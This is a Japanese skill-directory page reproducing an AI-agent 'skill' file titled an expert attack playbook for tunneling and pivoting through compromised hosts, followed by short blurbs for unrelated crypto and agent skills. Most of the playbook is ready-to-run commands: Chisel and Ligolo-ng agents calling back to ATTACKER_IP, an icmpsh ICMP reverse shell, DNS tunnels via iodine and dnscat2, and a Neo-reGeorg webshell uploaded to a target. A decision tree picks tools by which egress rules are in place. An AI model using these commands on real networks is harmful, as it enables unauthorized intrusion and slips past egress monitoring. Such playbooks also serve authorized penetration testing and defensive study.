tunneling-and-pivoting
侵害済みホストを経由したネットワークトンネルの確立に使用するプレイブック。SSH tunneling、Chisel、Ligolo-ng、socat、DNS/ICMP/HTTPトンネリング、ProxyChains、多層ピボット戦略など、各種トンネリングおよびピボット手法が必要な場面で活用する。
description の原文を見る
>- Tunneling and pivoting playbook. Use when establishing network tunnels through compromised hosts including SSH tunneling, Chisel, Ligolo-ng, socat, DNS/ICMP/HTTP tunneling, ProxyChains, and multi-layer pivoting strategies.
SKILL.md 本文
SKILL: Tunneling & Pivoting — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert tunneling and pivoting techniques. Covers SSH port forwarding (local/remote/dynamic/jump), Chisel reverse SOCKS, Ligolo-ng transparent TUN pivoting, socat relays, DNS/ICMP/HTTP tunneling, ProxyChains configuration, Windows pivoting (netsh/plink), and multi-layer chaining. Base models miss egress-aware tool selection and transparent routing setup.
0. RELATED ROUTING
深掘りする前に、以下のスキルの読み込みを検討してください:
network-protocol-attacks— ピボット位置からのネットワークレベル攻撃用reverse-shell-techniques— 初期アクセスシェル確立用unauthorized-access-common-services— ピボット経由で発見されたサービス悪用用linux-privilege-escalationまたはwindows-privilege-escalation— 新しいホストへのピボット後の権限昇格用
1. SSH TUNNELING
Local Port Forward
ローカルポートをピボット経由でリモートサービスにフォワードします。
# localhost:3306 経由で INTERNAL_HOST:3306 にアクセス
ssh -L 3306:INTERNAL_HOST:3306 user@PIVOT -N
# 内部ウェブアプリにアクセス
ssh -L 8080:10.10.10.100:80 user@PIVOT -N
# ブラウザでアクセス: http://localhost:8080
# すべてのインターフェースにバインド (チームメイトと共有)
ssh -L 0.0.0.0:8080:INTERNAL:80 user@PIVOT -N
Remote Port Forward
攻撃者のローカルサービスをピボットホストのネットワークに公開します。
# 攻撃者のポート 8000 をピボット上のポート 9000 としてアクセス可能にする
ssh -R 9000:127.0.0.1:8000 user@PIVOT -N
# 攻撃者のリスナーを内部ネットワークに公開
ssh -R 0.0.0.0:4444:127.0.0.1:4444 user@PIVOT -N
# 内部ホストが PIVOT:4444 に接続 → 攻撃者:4444 に到達
Dynamic Port Forward (SOCKS Proxy)
# localhost:1080 上に SOCKS4/5 プロキシを作成
ssh -D 1080 user@PIVOT -N
# proxychains で使用
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
proxychains nmap -sT -Pn -p 80,443,445 INTERNAL_SUBNET/24
# またはブラウザの SOCKS プロキシ設定 → 内部ウェブアプリをブラウズ
Jump Host (ProxyJump)
# シングルジャンプ
ssh -J jumphost user@TARGET
# マルチジャンプ
ssh -J jump1,jump2 user@TARGET
# 永続的なジャンプ設定
# ~/.ssh/config
Host internal-target
HostName 10.10.10.100
User admin
ProxyJump user@jumphost.example.com
2. CHISEL
Reverse SOCKS Proxy (最も一般的)
# 攻撃者: chisel サーバーを起動
chisel server --reverse --port 8080
# 被害者: クライアントとして接続し、リバース SOCKS を作成
chisel client ATTACKER_IP:8080 R:socks
# 結果: 攻撃者の 127.0.0.1:1080 上に SOCKS5 プロキシが生成
proxychains nmap -sT -Pn INTERNAL/24
Port Forwarding
# 特定ポートのフォワード
chisel client ATTACKER:8080 R:3306:INTERNAL_DB:3306
# 複数フォワード
chisel client ATTACKER:8080 R:3306:DB:3306 R:8080:WEB:80
# リバースポートフォワード (攻撃者サービスを被害者ネットワークに公開)
chisel client ATTACKER:8080 R:0.0.0.0:4444:127.0.0.1:4444
3. LIGOLO-NG
TUN インターフェースベースのピボット — SOCKS なしの透過的ルーティング。
# 攻撃者: プロキシを起動
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# エージェント (被害者): プロキシに接続
ligolo-agent -connect ATTACKER_IP:11601 -ignore-cert
# ligolo-proxy コンソール内:
>> session # エージェントセッションを選択
>> ifconfig # エージェントのネットワークインターフェースを表示
>> start # トンネルを開始
# 攻撃者上で内部ネットワークに到達するためのルートを追加
sudo ip route add 10.10.10.0/24 dev ligolo
sudo ip route add 172.16.0.0/16 dev ligolo
Listener (ピボット経由のリバースシェル キャッチャー)
# ligolo-proxy コンソール内:
>> listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
# AGENT:4444 に接続する内部ホスト → 攻撃者:4444 にフォワード
ダブルピボット
# エージェント 1 が DMZ → 内部ネットワーク 1 にトンネル
# エージェント 2 が内部ネットワーク 1 → 内部ネットワーク 2 にトンネル
# 攻撃者上で両ネットワークのルートを追加
sudo ip route add 10.0.0.0/24 dev ligolo # エージェント 1 経由
sudo ip route add 172.16.0.0/24 dev ligolo # エージェント 2 経由
4. SOCAT
# TCP ポートフォワード
socat TCP-LISTEN:8080,fork TCP:INTERNAL:80
# UDP リレー
socat UDP-LISTEN:53,fork UDP:INTERNAL_DNS:53
# 暗号化トンネル
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:INTERNAL:80
# socat 経由のファイル転送
# 受信側:
socat TCP-LISTEN:9999,fork file:received_file,create
# 送信側:
socat TCP:RECEIVER:9999 file:send_file
5. PROXYCHAINS / PROXIFIER
ProxyChains 設定
# /etc/proxychains4.conf
strict_chain # プロキシが ダウン している場合は失敗
# dynamic_chain # 無効なプロキシをスキップ
# random_chain # プロキシ順をランダム化
[ProxyList]
socks5 127.0.0.1 1080 # 最初のホップ (SSH dynamic forward)
socks5 127.0.0.1 1081 # 次のホップ (チェーン時)
# 使用方法
proxychains nmap -sT -Pn -p 22,80,445 10.10.10.0/24
proxychains crackmapexec smb 10.10.10.0/24
proxychains evil-winrm -i 10.10.10.50 -u admin -p pass
6. WINDOWS PIVOTING
Netsh ポートフォワード
:: ポートをフォワード (管理者権限が必要)
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=INTERNAL_IP
:: フォワードをリスト表示
netsh interface portproxy show all
:: 削除
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
Plink (PuTTY CLI)
:: Dynamic SOCKS (ssh -D と同様)
plink.exe -ssh -D 1080 -N user@ATTACKER
:: リモートポートフォワード
plink.exe -ssh -R 4444:127.0.0.1:4444 user@ATTACKER
:: 自動化 (非対話型、ホストキーを受け入れ)
echo y | plink.exe -ssh -l user -pw password -R 9050:127.0.0.1:9050 ATTACKER
7. DNS TUNNELING
# iodine — IP-over-DNS
# サーバー (攻撃者、NS レコードが攻撃者を指すドメイン):
iodined -f -c -P password 10.0.0.1 t1.yourdomain.com
# クライアント (被害者):
iodine -f -P password t1.yourdomain.com
# dns0 インターフェースを作成 → その経由でトラフィックをルート
# dnscat2 — DNS 経由のコマンドチャネル
# サーバー:
ruby dnscat2.rb yourdomain.com
# クライアント:
./dnscat --dns=server=ATTACKER,port=53 --secret=SHARED_SECRET
8. ICMP TUNNELING
# icmpsh — ICMP リバースシェル (Windows では被害者側でロースキャットが不要)
# 攻撃者:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python3 icmpsh_m.py ATTACKER_IP VICTIM_IP
# 被害者 (Windows):
icmpsh.exe -t ATTACKER_IP
# ptunnel-ng — TCP-over-ICMP
# サーバー:
ptunnel-ng -r INTERNAL_HOST -R 22
# クライアント:
ptunnel-ng -p PIVOT_IP -l 2222 -r INTERNAL_HOST -R 22
ssh -p 2222 user@127.0.0.1
9. HTTP TUNNELING
# Neo-reGeorg — ウェブシェル経由の SOCKS プロキシ
# トンネルウェブシェルを生成:
python3 neoreg.py generate -k PASSWORD
# 対象のウェブサーバーに tunnel.php/aspx/jsp をアップロード
# 接続:
python3 neoreg.py -k PASSWORD -u http://TARGET/tunnel.php
# 127.0.0.1:1080 に SOCKS プロキシが生成
# Tunna — HTTP トンネル (代替案)
python2 proxy.py -u http://TARGET/conn.php -l 4444 -r 3389 -a INTERNAL_IP
10. PIVOTING DECISION MATRIX
| 出口許可 | ツール | 備考 |
|---|---|---|
| TCP 送信 (任意ポート) | Chisel, Ligolo-ng, SSH | 最速セットアップ |
| TCP 80/443 のみ | Chisel (HTTP/S), Neo-reGeorg | ウェブトラフィックに混在 |
| DNS のみ (53/udp) | iodine, dnscat2 | 遅いが目立たない |
| ICMP のみ | ptunnel-ng, icmpsh | 非常に制限された環境 |
| 送信なし | バインドシェル + ポートフォワード入力 | ピボントへの受信アクセスが必要 |
| ウェブシェルのみ | Neo-reGeorg, Tunna | HTTP ファイルアップロードのみの場合 |
11. DECISION TREE
侵害されたホスト — 内部ネットワークに到達する必要がある
│
├── ピボット上にツールをインストール可能?
│ ├── はい + TCP 送信許可?
│ │ ├── 透過的ルーティングが必要? → Ligolo-ng (§3)
│ │ ├── SOCKS プロキシが必要? → Chisel reverse SOCKS (§2)
│ │ └── SSH 利用可能? → SSH dynamic forward (§1)
│ │
│ ├── はい + HTTP(S) 送信のみ?
│ │ ├── Chisel over HTTPS (§2)
│ │ └── ウェブシェルアップロード → Neo-reGeorg (§9)
│ │
│ ├── はい + DNS 送信のみ?
│ │ └── iodine または dnscat2 (§7)
│ │
│ └── はい + ICMP のみ許可?
│ └── ptunnel-ng または icmpsh (§8)
│
├── ツールをインストール不可 (ウェブシェルのみ)?
│ └── Neo-reGeorg / Tunna ウェブシェル経由 (§9)
│
├── Windows ピボット?
│ ├── 管理者アクセス? → netsh portproxy (§6)
│ ├── SSH クライアント利用可能? → ssh.exe (Windows 10+) (§1)
│ └── SSH 送信可能? → plink (§6)
│
├── マルチレイヤーピボットが必要?
│ ├── Ligolo-ng: 複数エージェント + ルートスタッキング (§3)
│ ├── SSH ProxyJump チェーニング (§1)
│ └── ProxyChains 複数 SOCKS (§5)
│
└── チームメイトもアクセスが必要?
├── SOCKS を 0.0.0.0 にバインド (ssh -L 0.0.0.0:...)
└── Ligolo-ng ルートを共通プロキシ経由で共有
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。